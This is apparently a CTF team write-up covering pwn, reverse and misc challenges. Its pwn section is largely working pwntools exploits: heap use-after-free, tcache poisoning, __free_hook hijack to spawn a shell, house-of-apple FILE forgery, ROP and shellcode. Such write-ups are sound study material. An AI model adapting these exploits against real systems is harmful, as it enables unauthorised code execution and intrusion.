sh = remote('172.52.31.32', 9999)
context.log_level = "debug"
class WebHeap(Structure):
_fields_ = (
('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))
def __str__(self):
return '(%d, %d, %d)' % (self.choice, self.index, self.size)
def LoadProtocolLibrary():
global ProtocolLibrary
global GetSerializedHeapMenu
global SerializePolyhedron
global DeserializePolyhedron
ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')
SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
SerializePolyhedron.restype = c_ssize_t
DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
DeserializePolyhedron.restype = c_ssize_t
def create(choice, index, size, data):
LoadProtocolLibrary()
payload_buffer = create_string_buffer(1024)
count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
assert count >= 0
return payload_buffer[0:count]
def sendPacket(data):
sh.sendlineafter("Packet length: ", str(len(data)))
sh.sendafter("Content:", data)
def add(idx, size):
sendPacket(create(0, idx, size, ""))
def show(idx):
sendPacket(create(1, idx, 0, ""))
def delete(idx):
sendPacket(create(2, idx, 0, ""))
def edit(idx, content):
sendPacket(create(3, idx, 0, content))
add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
delete(0)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
delete(2)
delete(1)
edit(1, p64(free_hook_addr))
add(3, 0x68)
add(4, 0x68)
edit(3, '/bin/sh\\x00')
edit(4, p64(system_addr))
delete(3)
# gdb.attach(sh)
# sendPacket('\\xb9\\x05\\x01\\x00\\x81\\x88\\x00\\xbd\\x00\\x00')
sh.interactive()
webheap_revenge
from pwn import *
from ctypes import *
sh = process('./webheap_revenge')
#sh = remote('172.52.31.189', 9999)
context.log_level = "debug"
class WebHeap(Structure):
_fields_ = (
('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))
def __str__(self):
return '(%d, %d, %d)' % (self.choice, self.index, self.size)
def LoadProtocolLibrary():
global ProtocolLibrary
global GetSerializedHeapMenu
global SerializePolyhedron
global DeserializePolyhedron
ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')
SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
SerializePolyhedron.restype = c_ssize_t
DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
DeserializePolyhedron.restype = c_ssize_t
def create(choice, index, size, data):
LoadProtocolLibrary()
payload_buffer = create_string_buffer(1024)
count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
assert count >= 0
return payload_buffer[0:count]
def sendPacket(data):
sh.sendlineafter("Packet length: ", str(len(data)))
sh.sendafter("Content:", data)
def add(idx, size):
sendPacket(create(0, idx, size, ""))
def show(idx):
sendPacket(create(1, idx, 0, ""))
def delete(idx):
sendPacket(create(2, idx, 0, ""))
def edit(idx, content):
sendPacket(create(3, idx, 0, content))
add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
delete(0)
add(0, 0x418)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
edit(1, 'a' * 0x68 + p64(0xe1))
delete(2)
add(4, 0xd8)
delete(1)
delete(3)
edit(4, 'a' * 0x70 + p64(free_hook_addr))
add(5, 0x68)
add(6, 0x68)
edit(5, '/bin/sh\\x00')
edit(6, p64(system_addr))
delete(5)
#gdb.attach(sh)
sh.interactive()
bfbf
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'pwn2'
elf = ELF('pwn2')
libc = ELF("./libc.so.6")
context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
l64 = lambda :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
payload = ">"*0x238
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "<"*6
payload += ","
payload += (">" + ",")*(0x17+0x10)
# p.recv()
p.send(payload)
libc_base = l64() - 243 - libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook_zero = free_hook & 0xfffffffffffff000
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
pop_rax = libc_base + 0x0000000000036174
pop_rsp = 0x000000000002f70a + libc_base
syscall = 0x00000000000630a9 + libc_base
pop_rcx = 0x000000000010257e + libc_base
add_rax = 0x00000000000cfaf0 + libc_base
rop = p64(pop_rdi) + p64(free_hook_zero) + p64(libc_base + libc.sym["gets"])
rop += p64(pop_rsp) + p64(free_hook_zero)
sleep(0.01)
p.send(rop)
sleep(0.01)
sc = shellcraft.cat("flag")
# sc = shellcraft.mmap(0x100000,0x1000,0x7,0x11,0x3,0)
# sc += shellcraft.write(1,0x100000,0x20)
# sc = shellcraft.open("./",0x10000)
# sc += shellcraft.getdents("rax",free_hook_zero+0x200,0x300)
# sc += shellcraft.write(1,free_hook_zero+0x200,0x300)
orw = p64(pop_rdi) + p64(free_hook_zero)
orw += p64(pop_rsi) + p64(0x1000)
orw += p64(pop_rdx) + p64(0x7)
orw += p64(pop_rax) + p64(9)
orw += p64(add_rax)
orw += p64(syscall)
orw += p64(free_hook_zero+0x58)
orw += asm(sc)
# attach(p)
# orw = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(free_hook_zero)
# orw += p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall)
p.sendline(orw)
p.interactive()
store
UAF,largebinattack劫持stderr→_chain伪造io_file造house of apple,栈迁移执行shellcode,远程flag名未知因此getedents来找flag,flag为f1ag708edc8a0c4fecdb57d1文件,orw读flag
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'store'
elf = ELF('store')
libc = ELF("./libc-2.31.so")
# context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
l64 = lambda :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla("choice:",str(idx))
def add(size,payload,payload2):
cmd(1)
sla("Size:",str(size))
sa("Content:",payload)
sa("Remark:",payload2)
def free(idx):
cmd(2)
sla("Index:",str(idx))
def show(idx):
cmd(4)
sla("Index:",str(idx))
def edit(idx,payload,payload2 = "bbbb"):
cmd(3)
sla("Index:",str(idx))
sa("Content:",payload)
sa("Remark",payload2)
def malloc(size):
cmd(1)
sla("Size:",str(size))
add(0x410,"aaa","bbbb")
add(0x420,"aaa","bbbb")
free(1)
show(1)
libc_base = l64() - 96 - libc.sym["__malloc_hook"] - 0x10
lg("libc_base",libc_base)
malloc(0x500)
free(0)
edit(1,"a"*0x18,"a"*0x18)
show(1)
ru("a"*0x18)
heap_addr = u64(p.recv(6).ljust(8,'\\x00'))
lg("heap_addr",heap_addr)
heap_base = heap_addr - 0xad0
stderr_chain = libc_base + libc.sym["_IO_2_1_stderr_"] + 104
io_file_jumps = libc_base + libc.sym["_IO_file_jumps"]
gadgets = 0x0000000000157d8a + libc_base
leaver = 0x000000000005aa48 + libc_base
pop_rsp = 0x0000000000032b5a + libc_base
pop4_r = 0x0000000000026b6b + libc_base
pop_rdi = 0x0000000000026b72 + libc_base
pop_rsi = 0x0000000000027529 + libc_base
pop_rdx = 0x000000000011c371 + libc_base
pop_rax = libc_base + 0x000000000004a550
syscall = 0x0000000000066229 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
# mov rbp, qword ptr [rdi + 0x48];
# mov rax, qword ptr [rbp + 0x18];
# lea r13, [rbp + 0x10];
# mov dword ptr [rbp + 0x10], 0;
# mov rdi, r13;
# call qword ptr [rax + 0x28];
edit(1,p64(0)*3 + p64(stderr_chain-0x20))
malloc(0x500)
payload = flat({
0x18:1,
0x10:0,
0xb0:1,
0x20:2,
0x90:heap_base+0x6c0,
0x88:heap_base+0x6c0,
0xc8:io_file_jumps+0x48
}, filler = b'\\x00',arch='amd64')
payload2 = flat({
0:0,
0x18:0,
0x20:0x100,
0x28:gadgets,
0x30:0x100,
0x38:heap_addr,
},filler = '\\x00',arch='amd64')
edit(0,payload,payload2)
payload = flat({
0:0,
0x10:0x1234,#rdi
0x18:gadgets,#rax
0x28:0x2222,
0x38:heap_base+0xf10,
},filler = '\\x00',arch='amd64')
payload2 = flat({
0x8:pop4_r,
0x10:heap_base+0xf50,
0x18:heap_base+0xf10,
0x10:0x3456,
0x28:leaver,
0x30:pop_rdi,
0x38:0,
0x40:pop_rsi,
0x48:free_hook1,
0x50:pop_rdx,
0x58:0x1000,
0x60:0,
0x68:pop_rax,
0x70:0,
0x78:syscall,
0x80:pop_rdi,
0x88:free_hook1,
0x90:pop_rsi,
0x98:0x1000,
0xa0:pop_rdx,
0xa8:0x7,
0xb0:0x7,
0xb8:pop_rax,
0xc0:10,
0xc8:syscall,
0xd0:pop_rsp,
0xd8:free_hook1+0x200,
},filler = '\\x00',arch='amd64')
edit(1,payload,payload2)
sc = shellcraft.mmap(0x40404040,0x7e,7,34,0,0)
sc = asm(sc)
sc += asm(shellcraft.amd64.read(0,0x40404040,0x40),arch = 'amd64')
# sc += asm(shellcraft.open(0x40404040,0x10000))
# sc += asm(shellcraft.getdents("eax",0x40404040+0x100,0x200))
# sc1 = shellcraft.amd64.write(1,0x40404040+0x100,0x200)
sc += asm(shellcraft.open(0x40404040,0))
sc1 = shellcraft.amd64.read("rax","rsp",0x100)
sc1 += shellcraft.amd64.write(1,"rsp",0x100)
sc = (sc) + asm(sc1,arch = 'amd64')
cmd(5)
sleep(0.1)
p.send(sc.ljust(0x200,'\\x90') + p64(free_hook1) + "flag\\x00\\x00\\x00\\x00")
sleep(0.1)
# attach(p)
p.sendline("f1ag708edc8a0c4fecdb57d1\\x00\\x00")
# p.sendline("./\\x00\\x00\\x00")
# attach(p)
p.interactive()
# f1ag708edc8a0c4fecdb57d1
only
UAF,double free劫持tcache头部(1/16),错位申请到stdout(1/16),泄露libc,打free_hook栈迁移orw出flag,1/256
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
def cmd(idx):
sla(">>",str(idx))
def add(size,payload):
cmd(1)
sla("Size:",str(size))
sa("Content:",payload)
def free():
cmd(2)
def add2():
cmd(0)
def exp():
add(0xe0,"aaa\\n")
free()
add2()
free()
add(0xe0,p16(0xa010)+'\\n')
add(0xe0,"aaa\\n")
payload = "\\x00"*0x18 + p16(0) + p16(0x20)
payload = payload.ljust(0x4e,'\\x00')
payload += p16(0x20)
add(0xe0,payload + '\\n')
free()
add(0x80,p16(0)*2 + '\\n')
add(0x48,p16(0x96a0) + '\\n')
add(0x30,p64(0xfbad1800) + p64(0)*3 + p8(0x8) + '\\n')
libc_base = l64() - libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
gadgets = 0x0000000000157d8a + libc_base
# mov rbp, qword ptr [rdi + 0x48];
# mov rax, qword ptr [rbp + 0x18];
# lea r13, [rbp + 0x10];
# mov dword ptr [rbp + 0x10], 0;
# mov rdi, r13;
# call qword ptr [rax + 0x28];
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx = libc_base + 0x000000000011c371
pop_rax = libc_base + 0x000000000004a550
pop_rsp = libc_base + 0x0000000000032b5a
pop4r = 0x00000000000913ae + libc_base
leaver = 0x000000000005aa48 + libc_base
syscall = 0x0000000000066229 + libc_base
add(0x28,p64(free_hook)*2 + '\\n')
payload = flat({
0:gadgets,
0x8:pop4r,
0x18:free_hook,
0x28:leaver,
0x30:pop_rsi,
0x38:free_hook1,
0x40:pop_rdi,
0x48:free_hook,
0x50:pop_rdi,
0x58:0,
0x60:pop_rdx,
0x68:0x1000,
0x70:0,
0x78:pop_rax,
0x80:0,
0x88:syscall,
0x90:pop_rsp,
0x98:free_hook1,
0xa0:syscall,
},filler = '\\x00')
add(0xe0,payload+'\\n')
free()
sleep(0.01)
payload = flat([
pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,0x7,pop_rax,10,
syscall,free_hook1+0x58
])
sc = shellcraft.cat("flag")
p.send(payload + asm(sc))
# add(0xd0,p64(0)+p16(0x1234) +'\\n')
# free()
p.interactive()
if __name__ == "__main__":
binary = './only'
elf = ELF('./only')
libc = ELF("./libc.so.6")
context.binary = binary
# if(len(sys.argv) == 3):
# p = remote(sys.argv[1],sys.argv[2])
# else:
# p = process(binary)
p = remote
l64 = lambda :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
while(1):
try:
p = remote(sys.argv[1],sys.argv[2])
exp()
except Exception as e:
p.close()
print(e)
REVERSE
comeongo
根据字符串you get it , flag may be flag{username+password}定位主函数
check函数进去分析一下
动调得知v5和v11分别是username和password的长度,都是16,然后会有两个check
rax是username,rcx是password,rbx和rdi都是长度
Encoding找到了base58的表,参数是username的前8位+password的前八位
memequal的参数是9pd5duAv9fueatCwqEwuy7,我们解一下GoM0bi13G3tItEzF
拆分一下得到
username:GoM0bi13
password:G3tItEzF
只有check1过了才能进入check2,我们重新构造flag
check2这里会对username的后八位和password的后八位进行操作,通过main_io_read加密,经过多次调试,发生是逐字节加密的,而且对数字不会有操作,对字母表作了一个加密的映射:abcd是mnop,ijkl对应uvwx,这样就可以调出密文所对应的明文
把username[8-11]和passsword[8-11]进行一个merge,然后base64加密然后与X051YmNmRnE=比较,解密一下X051YmNmRnE=
_NubcfFq
username:GoM0bi13_Bin
password:G3tItEzForRe
这个根据前面跳出来的字母表然后替换后
现在缺最后四位,直接下软件断点下看汇编就行了,类似解方程
a=[0X76,0X47]
b=[ 0xDD, 0x8F, 0xA1, 0x64]
for i in range(len(a)):
print(chr(b[i]-a[i]-i))
print(chr(0x6f))
print(chr(33))
print(chr(0x61-ord('!')))
username:GoM0bi13_BingGo@
password:G3tItEzForRe__0!
少了两位,下断点没停下来,题目有问题,后面更新附件了,不过我直接猜了一下密钥vG,结果对了
username:GoM0bi13_BingGo@
password:G3tItEzForRevG0!
mcmc
这个有ollvm,但是有明显的chacha20特征,直接解没解出来,怀疑有其他操作,对flag进行访问断点
最后的结果比对
unsigned char ida_chars[] =
{
0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
0xBF, 0x32
};
这里前面sub_405480是把flag的每四个为一组,16个,也就是4组进行一次加密
sub_4011A0就是chacha20了,chacha20的xor部分是被魔改过的
但是下断点调试,再这些之前还有个循环是对8、16、24、32位进行xor,xor的值是[68,35,91,90],是固定的
github找到chacha20的源码对着看https://github.com/Ginurx/chacha20-c
#pragma once
#pragma once
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#ifdef __cplusplus
extern "C" {
#endif
struct chacha20_context
{
uint32_t keystream32[16];
size_t position;
uint8_t key[32];
uint8_t nonce[12];
uint64_t counter;
uint32_t state[16];
};
void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nounc[], uint64_t counter);
void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes);
#ifdef __cplusplus
}
#endif
#include "chacha20.h"
#include<stdio.h>
static uint32_t rotl32(uint32_t x, int n)
{
return (x << n) | (x >> (32 - n));
}
static uint32_t pack4(const uint8_t* a)
{
uint32_t res = 0;
res |= (uint32_t)a[0] << 0 * 8;
res |= (uint32_t)a[1] << 1 * 8;
res |= (uint32_t)a[2] << 2 * 8;
res |= (uint32_t)a[3] << 3 * 8;
return res;
}
static void unpack4(uint32_t src, uint8_t* dst) {
dst[0] = (src >> 0 * 8) & 0xff;
dst[1] = (src >> 1 * 8) & 0xff;
dst[2] = (src >> 2 * 8) & 0xff;
dst[3] = (src >> 3 * 8) & 0xff;
}
static void chacha20_init_block(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[])
{
memcpy(ctx->key, key, sizeof(ctx->key));
memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
const uint8_t* magic_constant = (uint8_t*)"expand 32-byte k";
ctx->state[0] = pack4(magic_constant + 0 * 4);
ctx->state[1] = pack4(magic_constant + 1 * 4);
ctx->state[2] = pack4(magic_constant + 2 * 4);
ctx->state[3] = pack4(magic_constant + 3 * 4);
ctx->state[4] = pack4(key + 0 * 4);
ctx->state[5] = pack4(key + 1 * 4);
ctx->state[6] = pack4(key + 2 * 4);
ctx->state[7] = pack4(key + 3 * 4);
ctx->state[8] = pack4(key + 4 * 4);
ctx->state[9] = pack4(key + 5 * 4);
ctx->state[10] = pack4(key + 6 * 4);
ctx->state[11] = pack4(key + 7 * 4);
// 64 bit counter initialized to zero by default.
ctx->state[12] = 0;
ctx->state[13] = pack4(nonce + 0 * 4);
ctx->state[14] = pack4(nonce + 1 * 4);
ctx->state[15] = pack4(nonce + 2 * 4);
memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
}
static void chacha20_block_set_counter(struct chacha20_context* ctx, uint64_t counter)
{
ctx->state[12] = (uint32_t)counter;
ctx->state[13] = pack4(ctx->nonce + 0 * 4) + (uint32_t)(counter >> 32);
}
static void chacha20_block_next(struct chacha20_context* ctx) {
// This is where the crazy voodoo magic happens.
// Mix the bytes a lot and hope that nobody finds out how to undo it.
for (int i = 0; i < 16; i++) ctx->keystream32[i] = ctx->state[i];
#define CHACHA20_QUARTERROUND(x, a, b, c, d) \\
x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); \\
x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); \\
x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); \\
x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7);
for (int i = 0; i < 10; i++)
{
CHACHA20_QUARTERROUND(ctx->keystream32, 0, 4, 8, 12)
CHACHA20_QUARTERROUND(ctx->keystream32, 1, 5, 9, 13)
CHACHA20_QUARTERROUND(ctx->keystream32, 2, 6, 10, 14)
CHACHA20_QUARTERROUND(ctx->keystream32, 3, 7, 11, 15)
CHACHA20_QUARTERROUND(ctx->keystream32, 0, 5, 10, 15)
CHACHA20_QUARTERROUND(ctx->keystream32, 1, 6, 11, 12)
CHACHA20_QUARTERROUND(ctx->keystream32, 2, 7, 8, 13)
CHACHA20_QUARTERROUND(ctx->keystream32, 3, 4, 9, 14)
}
for (int i = 0; i < 16; i++) ctx->keystream32[i] += ctx->state[i];
uint32_t* counter = ctx->state + 12;
// increment counter
counter[0]++;
if (0 == counter[0])
{
// wrap around occured, increment higher 32 bits of counter
counter[1]++;
// Limited to 2^64 blocks of 64 bytes each.
// If you want to process more than 1180591620717411303424 bytes
// you have other problems.
// We could keep counting with counter[2] and counter[3] (nonce),
// but then we risk reusing the nonce which is very bad.
assert(0 != counter[1]);
}
}
void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[], uint64_t counter)
{
memset(ctx, 0, sizeof(struct chacha20_context));
chacha20_init_block(ctx, key, nonce);
chacha20_block_set_counter(ctx, counter);
ctx->counter = counter;
ctx->position = 64;
}
void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
for (size_t i = 0; i < 32; i++)
{
if (ctx->position >= 64)
{
chacha20_block_next(ctx);
ctx->position = 0;
}
//奇数
if (i % 2 == 0)
{
bytes[i] = (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
}
else
{
bytes[i] = (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
}
ctx->position++;
}
}
void chacha20_xordecode(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
for (size_t i = 31; i >= 0; i--)
{
if (ctx->position >= 64)
{
chacha20_block_next(ctx);
ctx->position = 31;
}
//奇数
if (i % 2 == 0)
{
for (size_t t = 0; t < 0xff; t++)
{
int a1 = bytes[i] ^ (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5);
if (((t & 0xA )| (~t & 0xF5)) ==a1 ) {
printf("%d:0x%x \\n",i, t);
bytes[i] = t;
break;
}
}
}
else
{
for (size_t t = 0; t < 0xff; t++)
{
int a = bytes[i] ^ (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5);
if ((t & 0xA | ~t & 0xF5) ==a ) {
printf("%d:0x%x \\n",i, t);
bytes[i] = t;
break;
}
}
}
ctx->position--;
}
}
int main() {
uint8_t key[] = { 0x0A, 0xEB, 0x19, 0x25, 0x2E, 0xE8, 0x9C, 0x90, 0xEC, 0x85,
0xC0, 0xD6, 0x07, 0xCF, 0x5A, 0x54, 0x49, 0x40, 0x12, 0x24,
0xE7, 0x53, 0x13, 0x1E, 0x2F, 0x4F, 0xAD, 0x14, 0xDE, 0xF6,
0x8F, 0xE9 };
uint8_t nonce[] = { 0x67, 0xC6, 0x69, 0x73, 0x51, 0xFF, 0x4A, 0xEC, 0x29, 0xCD,
0xBA, 0xAB };
uint64_t counter = 1;
uint8_t buffer[] = { 0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
0xBF, 0x32 };
uint8_t buffer1[] = { 0xfa,0x29,0xd7,0xe6,0x69,0x1a,0xd4,0xcf,0x9f,0x35,0x71,0x61,0x8b,0x6a,0xcb,0xf7,0x54,0x45,0x3b,0xf1,0xc3,0x66,0xe3,0x89,0xe7,0x5,0xfb,0x38,0xc1,0x6f,0xb0,0xe8 };
struct chacha20_context ctx;
chacha20_init_context(&ctx, key, nonce, counter);
//chacha20_xorde(&ctx, buffer, sizeof(buffer));
for (size_t i = 0; i < 32; i+=4)
{
printf("0x%x%x%x%x\\n", buffer1[i+3],buffer1[i+2], buffer1[i + 1],buffer1[i + 0]);
}
return 0;
}
这里我们只是得到没被chacha20加密过的数据
from z3 import *
flag = [BitVec('flag[%d]' % i, 32) for i in range(8)]
s = Solver()
s.add(((flag[0]<<1)-((-flag[1])&0xffffffff)-flag[2]+flag[3])&0xffffffff==0xe6d729fa)
s.add((~(~(flag[0]+flag[1]) + (-flag[2])&0xffffffff)-flag[3])&0xffffffff==0xcfd41a69)
s.add((flag[0]-flag[1]+flag[2]+((-flag[3])&0xffffffff))&0xffffffff==0x6171359f)
s.add((~(~(flag[0]+(flag[1]<<1) - flag[2])+(-(flag[3]<<1))&0xffffffff))&0xffffffff==0xf7cb6a8b)
s.add(((flag[4]<<1)-((-flag[5])&0xffffffff)-flag[6]+flag[7])&0xffffffff==0xf13b4554)
s.add((~(~(flag[4]+flag[5]) + (-flag[6])&0xffffffff)-flag[7])&0xffffffff==0x89e366c3)
s.add((flag[4]-flag[5]+flag[6]+((-flag[7])&0xffffffff))&0xffffffff==0x38fb05e7)
s.add((~(~(flag[4]+(flag[5]<<1) - flag[6])+(-(flag[7]<<1))&0xffffffff))&0xffffffff==0xe8b06fc1)
if s.check() == sat:
print(s.model())
pq=[1835889971,925987429,1919252016, 1194345311,1667722857,678703214,812658772, 845703272]
for i in range(len(pq)):
print(hex(pq[i]))
ppq=[0x33,0x75,0x6d,0x6d,0x65,0x72,0x31,0x37
,0x30,0x76,0x65,0x72,0x5f,0x43,0x30,0x47
,0x69,0x6e,0x67,0x63,0x6e,0x30,0x74,0x28
,0x54,0x30,0x70,0x30,0x68,0x68,0x68,0x32]
for i in range(len(ppq)):
print(chr(ppq[i]^firstxor[i]),end="")
这里把8、16、24、32的xor也计算进去了
3ummer1s0ver_C0dingcn0tsT0p0hhhh
MISC
Welcome
签到题。下载附件zip打开里面的txt是flag
babymisc
猜数字,只能猜15次,二分法都不够用,只能爆破了
from pwn import *
#context.log_level = 'debug'
def run():
io = remote("172.52.31.165",9999)
try:
print("start")
io.sendline(b"Y")
io.recvuntil(b"Please enter a number:")
#target > mid 等价于 guess(mid)返回1
#target < mid 等价于 guess(mid)返回-1
#target = mid 等价于 guess(mid)返回0
def guess(num):
io.sendline(str(int(num)))
'''
[DEBUG] Sent 0x7 bytes:
b'907273\n'
[DEBUG] Received 0x5 bytes:
b'Bingo'
[DEBUG] Received 0x62 bytes:
b'\n'
b'Time use:0.44second\n'
b"To thank you, I'll give you the flag\n"
b'flag{B5n5e11ZfuQq1eH8kdTcF5MO205NtDs8}\n'
b'\n'
'''
result = io.recvuntil([b"low\n",b"up\n",b"You lost",b"Bingo"])
if b'low\n' in result:
return 1
elif b'up\n' in result:
return -1
elif b'You lost' in result:
return 3
elif b'Bingo' in result:
print(result)
io.interactive()
return 0
def guessNumber():
left = 100000
right = 999999
while left <= right:
mid = left + (right - left) // 2
result = guess(mid)
print(left,right,mid,result)
if result == 0:
return mid
elif result == 1:
left = mid + 1
elif result == 3:
return False
else:
right = mid - 1
return -1
print(guessNumber())
except EOFError:
raise
finally:
print("end")
io.close()
if __name__ == '__main__':
while 1:
run()